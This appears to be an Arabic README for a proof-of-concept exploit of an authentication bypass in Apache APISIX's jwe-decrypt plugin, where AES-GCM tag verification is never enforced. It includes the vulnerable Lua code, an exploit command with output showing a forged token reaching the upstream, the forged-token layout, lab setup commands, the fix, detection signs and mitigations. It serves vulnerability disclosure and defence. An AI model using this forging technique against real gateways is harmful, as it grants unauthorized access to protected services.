
إثبات المفهوم لـ CVE-2026-49230: تجاوز المصادقة في Apache APISIX jwe-decrypt (عدم التحقق من علامة AES-GCM، CWE-354، CVSS 9.1)
jwe-decrypt لـ Apache APISIX — CVE-2026-49230إثبات مفهوم لتجاوز المصادقة في المكون الإضافي jwe-decrypt لـ Apache APISIX. يقوم المكون الإضافي بفك تشفير رمز JWE ويرسل نصه العادي إلى المنبع، ليعمل كبوابة مصادقة — لكنه لا يتحقق مطلقًا من علامة مصادقة AES-GCM. يتم قبول الرمز الذي يحمل ببساطة kid صالح للمستهلك بغض النظر عن مدى تلف نصه المشفر وعلامته، لذا يمكن للمهاجم الذي يعرف أي مفتاح مستهلك — والذي ينتقل بنص واضح في رأس كل رمز شرعي — أن يجتاز البوابة دون معرفة السر AES.
| CVE | CVE-2026-49230 |
| المنتج | Apache APISIX (المكون الإضافي jwe-decrypt) |
| المتأثر | 3.8.0 – 3.16.0 |
| تم الإصلاح | 3.17.0 |
| التصنيف | CWE-354 — التحقق غير السليم من قيمة فحص التكامل |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| المصادقة | غير مصدق (يحتاج إلى kid صالح للمستهلك، وليس السر) |
| تاريخ النشر | 2026-06-19 |
| الحالة | مؤكد — تم إعادة الإنتاج بشكل كامل على 3.16.0؛ تم رفضه على 3.17.0 |
apisix/plugins/jwe-decrypt.lua (العلامة 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- يُرجع قيمة واحدة
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err دائمًا nil -> حارس ميت
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- يمر الطلب
end
تُرجع aes:decrypt() القيمة nil عندما لا تتطابق علامة مصادقة GCM، ولكن يتم تجاهل تلك القيمة المرتجعة ويفحص المستدعي قيمة err غير موجودة، والتي تكون دائمًا nil. وبالتالي لا يتم تطبيق فحص التكامل مطلقًا: يتم مصادقة أي JWE يحوي kid قابل للحل. السر AES — وهو الشيء الوحيد الذي لا يُفترض أن يمتلكه المهاجم — ليس مطلوبًا أبدًا.
يؤدي الإصلاح في 3.17.0 إلى تمرير الخطأ (return decrypted, err) وتغيير الحارس إلى if not plaintext then return 400. كما يزيل الإصلاح نفسه واجهة برمجة التطبيقات العامة GET /apisix/plugin/jwe/encrypt الخاصة بسك الرموز للمكون الإضافي.
انظر ANALYSIS.md للاطلاع على الشرح الكامل على مستوى الكود.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
الرمز المزور هو base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. فقط الرأس (مع kid صالح) هو المهم؛ كل ما بعده هو بيانات غير مرغوب فيها يختارها المهاجم.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # نفس الاختبار يُرفض في الإصدار المُصلح
./teardown.sh
لا تحتوي هذه البيئة على جسر Docker، لذلك يستخدم المختبر --network host (etcd على :2379، مستوى بيانات APISIX :9080، الإدارة :9180، الخلفية :8080).
يتم تطبيق كل عنصر تحكم باستثناء فحص تكامل GCM، ويتحول الرمز المزور المطابق من 200 إلى 400 عبر حدود الإصلاح — التجاوز هو تحديدًا عدم التحقق من التكامل، وليس توجيهًا خاطئًا. النص الكامل في EVIDENCE.txt.
يمكن الوصول إلى أي منبع يثق في بوابة jwe-decrypt في APISIX للمصادقة من قبل مهاجم غير مصدق يمتلك kid صالحًا واحدًا للمستهلك. نظرًا لأن kid صالحًا مكشوف بنص واضح داخل رأس JWE لكل رمز صادر شرعي، فإن رمزًا واحدًا تم اعتراضه أو تسريبه — أو مفتاح مستهلك قابل للتخمين — يكفي لتزوير عدد غير محدود من الرموز المقبولة وتجاوز حدود المصادقة للبوابة.
jwe-decrypt كعنصر تحكم وحيد في المصادقة؛ أضف طبقة مكون إضافي مستقل للمصادقة (مثل key-auth/jwt-auth) أو فحص منبع يتحقق من الهوية المُمررة.الطلبات التي تتم مصادقتها عبر jwe-decrypt ومع ذلك تُمرر رأس هوية فارغ/مفقود إلى المنبع (أنتج فك التشفير بصمت قيمة nil) هي إشارة قوية. راقب طلبات Authorization: Bearer <jwe> التي تجتاز البوابة بينما لا يتلقى المنبع رأسًا قابلاً للاستخدام.
البحث وإثبات المفهوم بواسطة Caio Fabrício (@BiiTts).
MIT — انظر LICENSE.
| الطلب | 3.16.0 (ضعيف) | 3.17.0 (مُصلح) |
|---|
| بدون رمز | 403 missing JWE token | — |
| رمز غير صحيح (<5 أجزاء) | 400 JWE token invalid | — |
kid غير صحيح + تشفير تالف | 400 invalid kid | — |
kid صحيح + تشفير تالف | 200 تم الوصول إلى المنبع | 400 failed to decrypt |